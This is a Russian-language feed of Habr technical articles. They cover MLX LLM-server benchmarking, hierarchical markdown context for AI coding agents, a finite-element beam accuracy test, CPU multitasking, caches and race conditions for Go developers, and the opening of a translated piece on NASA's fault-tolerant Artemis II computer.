Overall winner - mlx-openai-server. Не потому что он быстрее всех на single (mlx-omni чуть впереди - 64 vs 63), а потому что он единственный, кто реально батчит (2.17× вместо 1.1-1.8 у остальных), не обрезает промты (8/8 vs 6/8 у omlx), честно стримит (реальный gen_tps 75, а не фантомные 15000), и стабилен (±0.2% между четырьмя повторами).

Но «один победитель на все сценарии» - это неправда. Вот честная таблица:

Сценарий	Выбор	Почему
Несколько пользователей (LiteLLM/gateway)	mlx-openai-server	Единственный настоящий batcher (2.17×)
Один пользователь, latency важна	mlx-omni-server (`--workers 2`)	Лучший TTFT (7.3с) + top single tps (64)
Research / честные метрики	mlx-openai-server или mlx-omni-server	Корректные TTFT, gen_tps, wall_tps
Длинный контекст (>32k токенов)	любой кроме omlx и mlx-serve	omlx - ctx 32k, mlx-serve - OOM
Максимальная простота запуска	Rapid-MLX	`rapid-mlx serve <model>` и готово
Dual API (OpenAI + Anthropic)	mlx-omni-server	Единственный с Anthropic endpoint
Без Python runtime	пока никто	Ждать higgs + qwen3_5_moe, или ждать flash attention в mlx-serve

Чего не хватает в этом бенчмарке - честно: я не тестировал batch >2 (реальный multi-user это 4-8 параллельных), не сравнивал с llama.cpp (сознательно, статья про MLX-экосистему), не делал автоматической оценки качества ответов (все фреймворки используют одну модель, текст одинаковый - разница только в том, доходит ли ответ до конца или обрезается по max_tokens).

Бонус: а что если убрать Python

В процессе стало видно очевидное. Python-серверы хорошие, но тяжёлые: torch, transformers, ffmpeg, 2.5GB зависимостей, GIL, холодный старт 10+ секунд. Rust-сервер higgs - single binary, 30MB, стартует мгновенно - но не поддерживает qwen3_5_moe. Zig-сервер mlx-serve - быстрый, но квадратичный attention.

Нехватка очевидна: single binary на Rust + MLX, с поддержкой Qwen 3.5 MoE, с настоящим continuous batching. Я начал делать форк higgs с портированием ключевой логики из mlx-openai-server - prompt cache (prefix-trie + LRU), request queue на tokio mpsc, архитектура qwen3_5_moe в mlx-rs, tool/reasoning parser.

Это отдельная история на 7-10 недель. Когда будут цифры - напишу вторую статью, Rust vs Python для LLM inference - реальный бенчмарк. А пока - вот этот.

Собрать эксперимент у себя

Всё воспроизводимо. Мой репозиторий с харнессом, конфигами итераций, промтами и gold-ответами лежит публично. Запуск:

cd app_inference
uv run -m app_inference run --config config/iteration_05.yaml

Результат: data_test/results/NNN_iterXX_YYYYMMDD_HHMMSS/ - полный CSV per request, серверные логи, ответы моделей, снимок окружения. Хотите auto-tune (harness сам удвоит max_tokens при truncation и выключит падающий фреймворк):

uv run -m app_inference iterate --rounds 6 --config config/iteration_01.yaml

Если повторите с другими промтами или моделью - интересно посмотреть числа. Комментарии открыты.

Спасибо что прочитали. Если было полезно - поставьте плюс, это подскажет Хабру, что такие long-read бенчмарки нужны. Следующая статья - про Rust-сервер MLX-inferene сделанный через клод. Если хотите про что-то конкретное (llama.cpp сравнение? batch >2? квантизация 8bit vs 4bit на качество?) - напишите в комментариях.

Почему ваш AI-агент тратит 80% токенов на файлы, которые уже читал вчера — и как это починить тремя markdown-файлами

Creatman — Fri, 17 Apr 2026 21:06:00 +0000

Продолжение серии. Первая часть: Как я перестал бояться Claude Code и научил его не ломать мои проекты

В прошлой статье я разобрал почему Claude Code ломает проекты (context drift, отсутствие CLAUDE.md, нет хуков на тесты) и как выстроить защиту от регрессий. Статья попала в топ-5 Хабра за сутки — видимо, проблема задела нерв.

Но в комментариях и в личных сообщениях всплыл вопрос, который я тогда обошёл стороной: а что с самими токенами? Контекстное окно стало миллион, но агент всё равно жрёт его как не в себя. Куда уходят токены? Почему одна и та же сессия с одним и тем же проектом каждый раз начинается с нуля?

Я работаю с 20+ проектами на нескольких VPS-серверах. После того как я замерил, куда реально уходит контекст — картина оказалась неприятной.

Анатомия слепого поиска

Задал Claude Code простой вопрос: «Какие способы оплаты поддерживает мой ХХХ-бот?»

Вот что произошло:

Грепнул домашнюю директорию на слово «payment» — 3 tool call'а
Нашёл 6 файлов-кандидатов в разных проектах, прочитал все — 6 вызовов
Понял что попал не в тот проект, начал искать заново — 4 вызова
Подключился по SSH к серверу чтобы проверить конфиг — 2 вызова
Ответил — 15+ вызовов инструментов, 80K+ токенов, 8 минут

Ответ занял ~800 токенов. Всё остальное — навигация. Агент потратил 99% бюджета на то, чтобы понять где искать, и 1% — на сам ответ.

Это не баг Claude Code. Это фундаментальная проблема архитектуры всех AI-агентов для кодинга. Cursor делает то же самое. Codex делает то же самое. Gemini CLI делает то же самое. У них нет карты вашего рабочего пространства, поэтому каждая сессия начинается с разведки.

С одним проектом это терпимо. С пятнадцатью — это часы контекста в день, потраченные на ориентирование.

Почему существующие решения не работают

RAG и векторный поиск

Первая мысль: «нужен RAG, закинем всё в embeddings». На рынке десятки инструментов — Cody, Sourcegraph, различные MCP-серверы для векторного поиска.

Проблема: векторный поиск ловит семантическое сходство, но не структуру. Спросите «как работает аутентификация?» — и получите 15 чанков, упоминающих «auth», «login», «token». Что он пропустит: middleware.ts вызывает refresh.ts, который зависит от jwt-config.ts. Цепочка вызовов — реальная архитектура — невидима для embeddings, потому что они ловят похожесть, а не связи.

Кроме того, RAG добавляет инфраструктуру: нужен embedding-сервер, индекс, ре-ранкинг. Сотни миллисекунд задержки на каждый запрос. Для инструмента, который должен работать со скоростью мышления агента — это слишком медленно.

Tree-sitter и статический анализ

Второй подход — парсить AST и строить граф зависимостей. Инструменты типа Hypergrep делают именно это: функции, вызовы, импорты — всё в графе.

Это хорошо работает для навигации внутри одного проекта. Но у меня пятнадцать проектов. Tree-sitter не ответит на вопрос «какие из моих проектов используют Redis?» или «где задеплоен VPN-бот?». Это разные уровни абстракции.

CLAUDE.md на каждый проект

В прошлой статье я писал про CLAUDE.md — файл с архитектурой, командами, правилами. Он решает проблему внутри проекта. Но когда агент не знает в каком проекте искать — он бессилен. Агент сначала должен найти проект, потом — прочитать его CLAUDE.md.

Решение: иерархический контекст

Все три подхода выше решают часть проблемы, но на разных уровнях. Мне нужна была система, которая покрывает все уровни сверху вниз:

Level 0: Карта проектов     — знает ВСЕ проекты и серверы     (~2KB, всегда в контексте)
Level 1: Детали проекта     — архитектура конкретного проекта  (~5KB, по запросу)  
Level 1.5: Граф кода        — структура кодовой базы           (опционально, Graphify)
Level 2: Исходный код       — реальные файлы                   (только когда нужен)

Ключевой принцип: агент идёт сверху вниз, а не снизу вверх. Сначала карта → потом проект → потом код. Не grep → read all → hope for the best.

Level 0: Глобальная карта

Добавляется в глобальный файл инструкций агента (~/.claude/CLAUDE.md для Claude Code, .cursorrules для Cursor):

## Project Map

| Проект | Путь | Сервер | Статус |
|--------|------|--------|--------|
| VPN Bot | ~/projects/vpn-bot/ | prod-1:/opt/vpn/ | LIVE |
| Auth Service | ~/projects/auth/ | prod-1 (Docker) | LIVE |
| Landing | ~/projects/landing/ | Cloudflare Pages | LIVE |
| DiaBot | ~/projects/diabot/ | prod-2:/opt/diabot/ | BETA |
| Admin Panel | ~/projects/admin/ | staging | DEV |

### Серверы
| Имя | IP | Назначение |
|-----|-----|-----------|
| prod-1 | 178.17.50.45 | Основной VPS, 3 сервиса |
| prod-2 | 95.85.234.200 | DiaBot + мониторинг |

### Правило
Прежде чем читать исходный код — прочитай CLAUDE.md проекта.

Это ~2KB. Загружается автоматически в каждой сессии. Агент мгновенно знает: какие проекты существуют, где они лежат, на каких серверах запущены.

Level 1: CLAUDE.md проекта

В корне каждого проекта — файл с архитектурой, стеком, ключевыми файлами, командами деплоя:

# VPN Bot — CLAUDE.md

## Status: LIVE (prod-1)
Telegram-бот VPN-сервиса. Подписки через Stars и CryptoBot.

## Stack
Python 3.11, python-telegram-bot, WireGuard, aiosqlite

## Key Files
- bot/main.py — точка входа
- bot/payments.py — Stars + CryptoBot обработка
- bot/vpn_manager.py — управление WireGuard конфигами
- scripts/sync_users.py — синхронизация пользователей

## Deploy
- Сервис: vpn-bot.service
- Логи: journalctl -u vpn-bot -f
- Конфиг WireGuard: /etc/wireguard/wg0.conf

~3-5KB. Агент читает его когда вы упоминаете проект — и сразу знает всю архитектуру.

Level 1.5 (опционально): Graphify

Для навигации внутри кода — Graphify превращает кодовую базу в граф знаний. Вместо grep'а агент обращается к графу и знает какой именно файл нужен:

pip install graphifyy
cd ~/projects/auth
graphify claude install

Это отдельный уровень между «архитектура проекта» и «читать исходники». Не обязателен, но для больших проектов экономит ещё 30-50% вызовов.

Результаты: замеры

Одни и те же вопросы, одна модель (Haiku — самая дешёвая), одна машина. С иерархией и без.

Тест 1: «Какая архитектура у Проекта A?»

	Слепой агент	С иерархией
Tool calls	12	1
Поведение	Grep → читает 4 файла → собирает ответ	Читает CLAUDE.md → отвечает
Точность	Корректно	Корректно

Тест 2: «Какие из моих проектов используют библиотеку X?»

	Слепой агент	С иерархией
Tool calls	44	2
Поведение	Сканирует весь диск	Целевой grep в известных путях
Точность	Пропустил 1 из 3 проектов	Нашёл все 3

Тест 3: «Где задеплоен Проект B? Имя сервиса? Логи?»

	Слепой агент	С иерархией
Tool calls	9	0
Поведение	Читает конфиги + SSH на сервер	Ответил из контекста
SSH нужен	Да	Нет

Второй тест — самый показательный. Слепой агент не просто потратил в 22 раза больше вызовов — он дал неправильный ответ, пропустив один проект. Больше контекста → более точные ответы, а не только дешевле.

Почему три файла работают лучше чем RAG

На первый взгляд это выглядит примитивно. Три markdown-файла против полноценного embedding-пайплайна с векторной базой? Но именно в простоте — сила:

Нулевая задержка. CLAUDE.md читается мгновенно — это файл на диске. RAG добавляет 200-500мс на каждый запрос к индексу.

Детерминированность. Вы знаете что агент прочитает. С RAG вы надеетесь что ре-ранкер выбрал правильные чанки. С иерархией — вы сами написали что важно.

Обновление в реальном времени. Поменяли деплой-конфиг? Обновили одну строку в CLAUDE.md. С RAG нужно переиндексировать.

Работает с любым агентом. Claude Code, Cursor, Codex, Gemini CLI — все умеют читать markdown. Не все поддерживают ваш конкретный RAG-сервер.

Масштабирование — файл на проект. 15 проектов = 15 CLAUDE.md по 5KB = 75KB суммарно. Карта проектов — 2KB. Итого 77KB структурированного контекста вместо 500KB-1MB сырых файлов.

Это не значит что RAG бесполезен. Для семантического поиска по документации, для работы с большими кодовыми базами, для ответов на вопросы типа «найди все места где мы обрабатываем ошибки оплаты» — RAG отлично работает. Но для навигации между проектами и быстрого ответа на вопрос «где что лежит» — markdown-иерархия быстрее, дешевле и надёжнее.

Бонус: индексация разговоров

Отдельная проблема: прошлые разговоры с AI содержат архитектурные решения, результаты дебага, заметки о деплое. Но агент не может их искать — каждая сессия начинается с чистого листа.

Я написал парсеры, которые конвертируют логи сессий Claude Code (.jsonl) и экспортированные чаты Claude Desktop в markdown с YAML frontmatter:

---
title: "Починил webhook оплаты"
date: 2026-04-14
project: vpn-bot
topics: ["webhook", "cryptocloud", "cloudflare"]
files_touched: ["payments.py", "webhook.py"]
---

Проиндексировав их через Graphify, агент может найти «что мы решили про платёжный флоу на прошлой неделе» без повторных объяснений. По сути — персистентная память между сессиями, построенная на обычных файлах.

Миллион токенов — не решение

С выходом Opus 4.6 контекстное окно выросло до миллиона токенов. Может показаться что проблема навигации исчезла: просто загрузи всё, модель разберётся.

Но исследования показывают обратное. LLM хуже работают когда окружены нерелевантной информацией — это подтверждено множеством работ. Больше контекста — не просто дороже. Это может сделать модель хуже. Явление известно как «lost in the middle»: модель лучше вспоминает информацию из начала и конца контекста, а середину теряет.

Иерархический контекст решает это элегантно: агент получает только нужные файлы, в правильном порядке, на правильном уровне детализации. Не 500KB сырого кода — а 5KB архитектуры, и только потом конкретный файл если нужен.

С чего начать (10 минут)

Напишите карту проектов в ~/.claude/CLAUDE.md (5 минут) — перечислите проекты, пути, серверы
Добавьте CLAUDE.md в ваш основной проект (5 минут) — стек, ключевые файлы, деплой
Задайте агенту вопрос о проекте в новой сессии
Посмотрите как он отвечает без grep'а

Никаких зависимостей, установок, конфигураций. Три markdown-файла, которые превращают слепого агента в того, кто знает куда смотреть.

Полезные ссылки

Graphify — навигация по коду через граф знаний
Документация Claude Code: Memory — как работают CLAUDE.md и auto-memory
Документация Claude Code: Best Practices — рекомендации Anthropic
Context Engineering (Morph) — обзор подходов к управлению контекстом
Hypergrep — tree-sitter + граф вызовов для навигации по коду

Бенчмарк аналитикой SCAD++, Lira и ammonit3d. Тест на точность с одним конечным элементом

atomicra — Fri, 17 Apr 2026 21:04:05 +0000

Предыстория

В предыдущей статье "Облако своими руками для расчета пространственных стержней методом конечных элементов на Node js, React js и Three js" представлен краткий обзор облачного SPA приложения ammonit3d по моделированию пространственных стержневых систем (ферм, балок, рамных и связевых конструкций, опор ЛЭП и т. д.) методом конечных элементов с численно-аналитическим решением для каждого конечного элемента, в основе которого математическая модель Эйлера-Бернулли - механическая модель упругой балки или стержня длиной L с заданной изгибной жёсткостью EJ на которую действуют сосредоточенная сила F или момент M, а также распределённая сила q(x) или момент m(x) по длине стержня, продольная ось которого x1, вертикальная x2 проходит через начало стержня и x3 направлена на нас из точки пересечения x1, x2. Полагая сечения плоскими до и после изгиба при одноосном деформированном состоянии в рамках краевой задачи линейной теории упругости, уравнение упругой оси стержня можно представить в виде обыкновенного неоднородного дифференциального уравнения 4-го порядка:

общее решение которого состоит из частного решения правой части (первые два слагаемых) и решения однородного дифференциального уравнения:

Если записать граничные условия

то неизвестные коэффициенты можно выразить через свёртку (сумму произведений) прогибов и поворотов на концах стержня с эрмитовыми полиномами :

Сравнение результатов SCAD++, Lira и ammonit3d на одном конечном элементе с аналитикой

Рис.1 Модель балки длиной =1 м, с жёстким защемлением концов и сечением 25х25мм из стали E=2.06e+11, =0.3.

Рассмотрим модель балки длиной L=1 м с жёстким защемлением концов. Сечение балки — квадрат 25×25 мм из стали с модулем Юнга E = 2.06e+11 Па и коэффициентом Пуассона 0.3. По всей длине на балку сверху действует статическая равномерно распределённая нагрузка 3 кН/м, см. Рис 1. В этом случае из общего решения обыкновенного неоднородного дифференциального уравнения 4-го порядка (см. выше) можно выписать аналитические выражения для функции прогиба и изгибающего момента :

Используя эти соотношения можно построить графики функций прогиба v(x) и момента M(x) по длине балки, см. Рис. 2.

Рис. 2. Зависимости функции прогиба и момента по длине балки.

Из аналитических выражений и графиков, представленных на Рис. 2, видно, что наибольший прогиб = -1.165e-3 м, достигается в середине балки. Наибольший изгибающий момент достигается на концах балки = -250Нм. В середине балки момент равен = 125Нм. На Рис. 3, 4 представлены графики прогиба и момента по длине балки, найденный в программе SCAD++, Lira и ammonit3d, соответственно.

Рис. 3 Графики прогиба и момента по длине балки, полученные в программе SCAD++

Рис. 4 Графики момента и прогиба по длине балки, полученные в программе Lira

Рис. 5 (Сверху вниз) Эпюры прогиба и момента по длине балки, полученные в облаке ammonit3d, модель: analytic

Из таблицы 1 видно, что параметры, найденные аналитически, совпадают с численным решением модели из одного конечного элемента для SCAD++ и Lira, так и для ammonit3d. Однако SCAD++, Lira в рамках одного конечного элемента не отображает эпюры прогибов на конечно-элементной расчётной схеме(?), а лишь в отдельном окне эпюр. При этом ammonit3d обеспечивает отображение и прогибов и моментов на пространственной схеме.

Что сравниваем
Аналитическая формула	-1.165000	125	250
SCAD++	-1.164999	125	250
Lira	-1.165000	125	250
ammonit3d	-1.165000	125	250

Вывод

Безусловно, коммерческие пакеты SCAD++ и Lira обеспечивают в рамках модели Эйлера-Бернулли аналитическую точность на одном конечном элементе, как и ammonit3d. Однако облачное приложение демонстрирует современную графику и кроссплатформенность, т. е. возможность создавать модели и выполнять расчёты на компьютерах, планшетах, смартфонах и других гаджетах, имеющих доступ к интернету. И главная особенность – моделями 3Д расчётных схем можно делиться в соцсетях, по почте, размещать ссылки публичных моделей на различных сайтах или делиться приватными моделями в своём сообществе.

Деконструкция GO: CPU, RAM и что там происходит. Многозадачность, многопоточность, кэши, проблемы. Часть 1.2

glibus — Fri, 17 Apr 2026 19:42:43 +0000

В прошлой статье я немного слукавил, сказав, что мы будем разбирать атомики, барьеры и системные вызовы. Я пару дней поразмышлял и осознал – а зачем вообще это объяснять, если мы даже не знаем про причину их возникновения и проблемы, которые они решают

В части 1.1 мы рассмотрели базовые инструкции, которые выполняет наш CPU и которыми в конечном счете и являются наши прекрасные строчки на Go. Но возникает закономерный вопрос: “Окей, мы поняли как работает на одном ядре, но Go у нас во многом про многопоточку, соответственно как это будет работать на нескольких потоках?”

Если что, то это часть большого цикла по разбору Go! Данная статья – это подводка уже к тому, с чем мы имеем дело в Go достаточно часто(барьеры памяти, атомики, сисколы)

В этот раз будет без Go Assembler, но с +- реальными примерами, если что-то непонятно будет, то на Хабре есть классный ИИ-помощник

Многозадачность

Хоть мы и развенчиваем в этом цикле абстракции, придется немного к ним вернуться. Но ненадолго!

Вспоминаем, как у нас выполняются инструкции в процессоре и представляем следующую конфигурацию:

Есть какое-то количество ГБ RAM

Есть 1 ядро CPU

Соответственно в один момент CPU может выполнять ровно 1 набор инструкций

Но почему-то всё во времена одноядерных CPU работало непрерывно…

На самом деле нет!

Работало еще как с прерываниями(не путать с теми, которые interrupt), просто настолько быстро, что мы были неспособны это осознать, а для того, чтобы успевали работать фоновые службы, приложения и что бы то ни было ещё как раз и придумали многозадачность!

Введем определение

Многозадачность – это способность операционной системы выполнять несколько программ или потоков одновременно (или псевдопараллельно), быстро переключая процессор между ними

И вот ключевое здесь пока что для нас – “быстро переключаясь”. А схемы работы исторически было предложено 2:

Кооперативная
Прерываемая

Начнем с кооперативной. На самом деле, это интуитивное решение, что называется “в лоб”. Схема работы очень простая:
1) CPU начинает выполнять задачу
2) CPU исполняет инструкции задачи
3) Задача добровольно передает управление
4) CPU начинает выполнять следующую задачу

Вот упрощенный пример на x86-64 в Linux:

yield_cpu:
mov rax, 24 ; Номер системного вызова sched_yield. Это означает системный вызов на “уступание” CPU
syscall ; сам вызов сискола. Инструкция процессора перехода из user mode в kernel mode.
ret

_start:
; "task A"
mov rsi, msg1 ; msg1 помещаем в rsi
mov rdx, len1 ; len1 помещаем в rdx

call yield_cpu ; добровольно отдаем CPU

; "task B"
mov rsi, msg2 ; msg2 помещаем в rsi
mov rdx, len2 ; len2 помещаем в rdx

call yield_cpu ; снова добровольно отдаем CPU

Чувствуете запах зависания? Я тоже. Действительно в Windows 3.1 например могла повиснуть программа(и вместе с ней ОС) на бесконечном цикле. В целом, это и есть ключевая проблема кооперативной многозадачности

Теперь про прерываемую многозадачность:

Как ясно из названия, в схеме работы такой многозадачности кто-то эти самые задачи прерывает и обычно это таймер планировщика.

Для понимания прерываемой многозадачности нам следует ввести также понятие

Прерывание процессора – это механизм, позволяющий системе приостановить выполнение текущей программы для немедленной обработки внешнего или внутреннего события, а после чего система может вернуться к прерванному коду

Схема работы тут уже такая:
1) CPU начинает выполнять задачу

2) CPU исполняет инструкции задачи

3) Аппаратный таймер генерирует interrupt, либо задача заканчивается(-> п.5)

4) CPU передает управление обработчику прерывания (interrupt handler)

5) Планировщик выбирает следующую задачу

Вот упрощенный пример на x86-64 в Linux:

task:
    mov rax, 1              ; какая-то работа задачи
    mov rbx, 2              ; еще работа
    add rax, rbx            ; считаем
    ; <- в этот момент может прийти прерывание таймера
    sub rax, 1              ; после возврата продолжаем отсюда
    jmp task                ; задача крутится дальше

timer_interrupt: ; обработчик прерывания
    push rax                ; сохраняем часть контекста
    push rbx                ; сохраняем регистры
    ; здесь логика ядра / планировщика
    ; можно выбрать другую задачу
    pop rbx                 ; восстанавливаем регистры
    pop rax                 ; восстанавливаем контекст
    iret                    ; возврат в прерванную точку

Отмечу отдельно, что процессор автоматически сохраняет часть контекста (RIP, CS, RFLAGS) перед переходом в обработчик.

У кого-то может возникнуть вопрос, откуда процессор знает про timer_interrupt. Вопрос резонный. Процессор не знает конкретный обработчик заранее. Он использует таблицу прерываний (IDT), которую заполняет операционная система. В ней каждому номеру прерывания соответствует адрес обработчика

А вот теперь интересный момент. Допустим, задача прервалась и наш дорогой CPU переключился на другую задачу, не выполнив прерванную.Очевидно, что прерванную надо как-то восстановить позже, чтобы всё-таки доделать.

И вот мы познакомились с одной из задач RAM – временно хранить данные о задачах, которые состоят из:

Значений регистров процессора для данной задачи
Указателя текущей инструкции (RIP)
Указателя стека (RSP)
Регистра флагов (RFLAGS)
Данных, лежащих в стеке

Это называется контекстом задачи

Зафиксируем:

Контекст задачи — это состояние процессора, которое нужно восстановить, чтобы продолжить выполнение

Переключение контекста(context switching) – это операция сохранения контекста одной задачи и загрузки контекста другой

В упрощённом виде это выглядит как сохранение регистров в память (push) и восстановление их позже (pop). Кстати, часть контекста процессор переносит в RAM сам

Многопоточность

В процессе эволюции, развитие(увеличение) производительности однопоточных CPU по закону Мура замедлилось, но вот проблема – требования к софту росли и в 2002 году Intel представила технологию Hyper-Threading в процессорах Pentium 4. Она позволила одному физическому ядру выполнять два потока инструкций одновременно, что операционная система воспринимала как два логических процессора.

На уровне CPU корректнее говорить о многоядерности и SMT, тогда как многопоточность — абстракция ОС и языков программирования. Что при этом интересно, разделяются физические и логические ядра.

Физическое ядро — это реальный вычислительный блок процессора, содержащий конвейер исполнения инструкций, арифметико-логические устройства, кэши и другие элементы, необходимые для выполнения программы.

Логическое ядро — это виртуальное вычислительное ядро, которое операционная система видит как отдельный процессор, но которое делит часть ресурсов физического ядра с другим логическим ядром

Хотя прожжённые линуксоиды уже наверняка вспомнили, что в Linux можно ограничивать, на каких ядрах будет выполняться процесс. Например, можно закрепить задачу только за физическими ядрами или наоборот — разрешить ей работать лишь на логических потоках одного ядра. Это делается с помощью механизма CPU affinity, который позволяет управлять распределением процессов по ядрам процессора

Заметим, что

Каждое ядро выполняет свой поток инструкций независимо
Регистры у каждого ядра свои
RAM общая

Поэтому два потока могут одновременно читать и писать одну и ту же память и выполнять инструкции независимо

Давайте не будем томить и рассмотрим, как вообще выполняются инструкции на нескольких ядрах

; Пусть у нас есть 2 потока:
; Thread A Linux запустил на Core 0
; Thread B Linux запустил на Core 1

thread_a:
mov rax, [counter] ; Core 0 читает counter из RAM в свой rax
add rax, 1 ; Core 0 увеличивает значение в своем регистре
mov [counter], rax ; Core 0 записывает новое значение обратно в RAM
jmp thread_a ; повторяем

thread_b:
mov rax, [counter] ; Core 1 читает counter из RAM в свой rax
add rax, 1 ; Core 1 увеличивает значение в своем регистре
mov [counter], rax ; Core 1 записывает новое значение обратно в RAM
jmp thread_b ; повторяем

Что же тут особенного? Почему нет каких-то специфических инструкций? А все очень просто!

Процессор сам по себе не настолько умен. Глобально – он лишь занимается исполнением разного рода инструкций, поэтому решение относительно того, какое конкретно ядро будет исполнять необходимые инструкции лежит на планировщике ОС.

Но откуда он вообще знает, о том какие ядра у нас есть?

А вот тут уже процессором предусмотрена инструкция CPUID, с помощью которой ядро может узнать характеристики процессора:

Количество физических ядер
Количество логических потоков
Топологию CPU

Далее BIOS или UEFI передают эту информацию ядру в его таблицу аппаратуры

ACPI tables
MADT (APIC table)

После инициализации ядро присваивает каждому процессору идентификатор (CPU ID):

CPU 0

CPU 1

CPU 2

CPU 3

Например так

Кому интересно, на Linux можете посмотреть это так:

cat /proc/cpuinfo

То есть при появлении новой задачи планировщик помещает её в очередь выполнения одного из CPU!

Процессорные кэши

До этого момента мы исходили из упрощённой(и староватой) модели:

CPU + RAM

По факту, если использовать только RAM, то CPU в основном только и будет, что ждать данные оттуда т.к. RAM – устройство медленное в масштабах железа. Даже современная оперативная память имеет задержки в десятки наносекунд, тогда как процессор выполняет инструкции за единицы наносекунд. Время простоя представили на многозадачности?

Чтобы решить эту проблему, в архитектуру процессоров были введены кэши!

Иерархия обращений к памяти от CPU до RAM

Уверен, что многие видели эту схему кучу раз

Но… мы её рассмотрим для общей картины.

L1 Cache

Самый быстрый и самый маленький.

Размер ~32–64 KB

Задержка ~4 такта

Обычно отдельный для инструкций и данных

Он находится внутри каждого ядра.

L2 Cache

Больше по размеру, но медленнее

размер ~256 KB – 1 MB

задержка ~10–15 тактов

Чаще всего также принадлежит одному ядру

L3 Cache

Самый большой и самый медленный из кэшей.

размер ~8–40 MB

задержка ~30–50 тактов

Обычно общий для всех ядер процессора

Часто выполняет роль буфера между ядрами и RAM

И вот возникают несколько логичных вопросов:

Зачем нам уровни кэша?
Кто принимает решение о помещении в кэш?
И какие вообще у них назначения?

Главная причина разделения на уровни — компромисс между скоростью, размером и стоимостью памяти, потому что чем память быстрее, тем она:

Дороже
Меньше
Сложнее масштабируется

Физически невозможно сделать огромный и быстрый кэш, поэтому пришлось разделять!

Вот примерное время доступа к разным уровням памяти:

Регистры ~1 такт

L1 cache ~4 такта

L2 cache ~12 тактов

L3 cache ~40 тактов

RAM ~100-300 тактов

Но кто же все-таки принимает решение о размещении чего-либо в кэше?

Ответ: Сам процессор. Ни ядро ОС, ни пользователь не могут управлять кэшами, это делает аппаратная логика процессора (cache controller)

Но уже чувствуется ситуация, когда в таком случае разные ядра могут иметь собственные копии фрагментов из L3 в своих L1/L2

Чтобы разные ядра не работали с устаревшими данными, процессоры используют cache coherence protocols.

Самый известный – MESI

Он следит за тем, чтобы в случае когда одно ядро изменило данные, другие ядра получили обновление

Строка кэша(сache line) – это минимальный блок данных, которым процессор обменивается между кэшем и оперативной памятью. Обычно 64 байт для большинства современных x86-64 процессоров

Название MESI – это аббревиатура четырёх состояний, в которых может находиться cache line:

M – Modified

E – Exclusive

S – Shared

I – Invalid

Modified

Cache line изменена текущим ядром и отличается от значения в RAM

Только одно ядро владеет данными

RAM устарела

При необходимости данные позже будут записаны обратно в память

Exclusive

Cache line находится только в одном кэше и совпадает с RAM

Ядро может изменить её без уведомления других

Shared

Одна и та же cache line присутствует в нескольких кэшах

Данные можно читать

Но изменять нельзя без invalidation других копий

Invalid

Cache line считается недействительной

Ядро должно заново запросить данные

Но даже несмотря на существование протоколов согласованности кэшей, проблема полностью не исчезает

Рассмотрим ситуацию, когда два ядра работают с одной и той же переменной

; Представим, что поток A выполняется на Core 0, а поток B — на Core 1.
mov rax, [counter]
add rax, 1
mov [counter], rax

А теперь что происходит в состоянии процессора:

1) Core 0 читает counter

RAM → L3 → L2 → L1 (Core 0)

Cache line получает состояние Shared

2) Core 1 читает counter

RAM → L3 → L2 → L1 (Core 1)

Теперь оба ядра имеют копию cache line

3) Core 0 хочет изменить значение

Чтобы записать данные, ядро должно получить эксклюзивное владение cache line.

По протоколу MESI происходит:

Core 0 → инвалидирует cache line у других ядер

Core 1 вынужден выбросить свою копию

4) Теперь Core 1 снова хочет изменить значение

Теперь происходит обратный процесс:

Core 1 → инвалидирует cache line у Core 0

Получается, что cache line начинает прыгать между ядрами.

Core 0 <-> Core 1

Следовательно, становится ясно, что такая ситуация приводит к накладным расходам из-за:

Задействования MESI
Инвалидации кэша

Что портит нам производительность

Такая ситуация называется состязанием за кэш(cache contention)

Давайте зафиксируем:

Состязание за кэш(cache contention) – это проблема производительности, возникающая в многоядерных системах, когда несколько ядер процессора одновременно пытаются получить доступ к одной и той же строке кэша

Ремарка

Даже если ядра работают с разными переменными из кэша, также может возникать состязание за кэш из-за того, что 2, казалось бы, независимые переменные лежат в одной строке кэша

Состояние гонки

Race condition (гонка данных) – ситуация, когда несколько потоков обращаются к одной памяти без синхронизации и результат зависит от порядка их выполнения

Я думаю, что исходя из вышесказанного становится очевидно, что состояние гонки – это фундаментальная проблема вычислительных систем. Даже на таком примитивном инструменте, как ASM можно легко получить гонку

Допустим 2 ядра выполняют инструкции:

mov rax, [counter]
add rax, 1
mov [counter], rax

Вроде бы обычный инкремент, но из кода ясно, что операции вообще-то 3:

1) load

2) add

3) store

Становится неясно, кто в какой момент сделает load, инкремент, store. Тут всё по принципу “кто последний store, тот и прав”, но вот вопрос – кто. Ядра соревнуются в получении доступа и обработке данных, между ними происходит гонка, и, собственно в разных случаях выполнения одних и тех же инструкций мы получаем разные результаты – 0, 1, 2

Думаю, что с постановкой проблем мы закончили, теперь делаем JMP на решения этих проблем, но в следующей статье!

[Перевод] Как НАСА создало отказоустойчивый компьютер для миссии «Артемида-2»

SLY_G — Fri, 17 Apr 2026 19:33:58 +0000

Чтобы вернуть человека на Луну, НАСА разработало архитектуру с «безотказным режимом», способную справляться со всем — от сбоев под воздействием космических лучей до полного отказа процессора

Компьютерная система, установленная на борту нынешней лунной миссии «Артемида-2», кардинально отличается от той, что использовалась в эпоху «Аполлона». Астронавты «Аполлона» совершали посадку на поверхность Луны с помощью компьютера, оснащённого процессором с тактовой частотой 1 МГц и примерно 4 килобайтами памяти, дополненной более объёмным массивом постоянной памяти на ферритовых кольцах. Хотя это было чудо инженерной мысли 1960-х годов, функциональный диапазон навигационного компьютера «Аполлона» был узконаправленным и не охватывал управление каждой системой. Критические системы контроля окружающей среды и питания управлялись вручную или с помощью электромеханических средств, таких как переключатели и реле.

Миссия «Артемида-2» 2026 года, в рамках которой впервые за более чем 50 лет экипаж из четырёх человек совершил облёт Луны, поддерживается одной из самых отказоустойчивых компьютерных систем, созданных для космических полётов. В отличие от «Аполлона», вычислительная архитектура капсулы «Орион» управляет практически всеми критически важными для безопасности корабля функциями — от систем жизнеобеспечения до маршрутизации связи.

Когда миссия находится в 400 000 км от Земли, сбой так просто не устранить. Там нет взлётно-посадочных полос для аварийной посадки и нет техников, которые могли бы заменить сгоревшую материнскую плату. Каждую подсистему необходимо спроектировать так, чтобы она выдерживала переключения битов под воздействием космических лучей, справлялась с вызванными радиацией замыканиями и аппаратными сбоями без единой секунды простоя.

«Мы по-прежнему разрабатываем архитектуру с учётом возможных сбоев оборудования, — говорит Нейт Уитенбрук, руководитель отдела интеграции и верификации программного обеспечения в программе „Орион“ НАСА в Космическом центре Джонсона. — Наряду с физически дублированными кабелями у нас есть логически дублированные сетевые каналы. У нас есть дублированные полётные компьютеры. Всё это предусмотрено для того, чтобы компенсировать сбой оборудования».

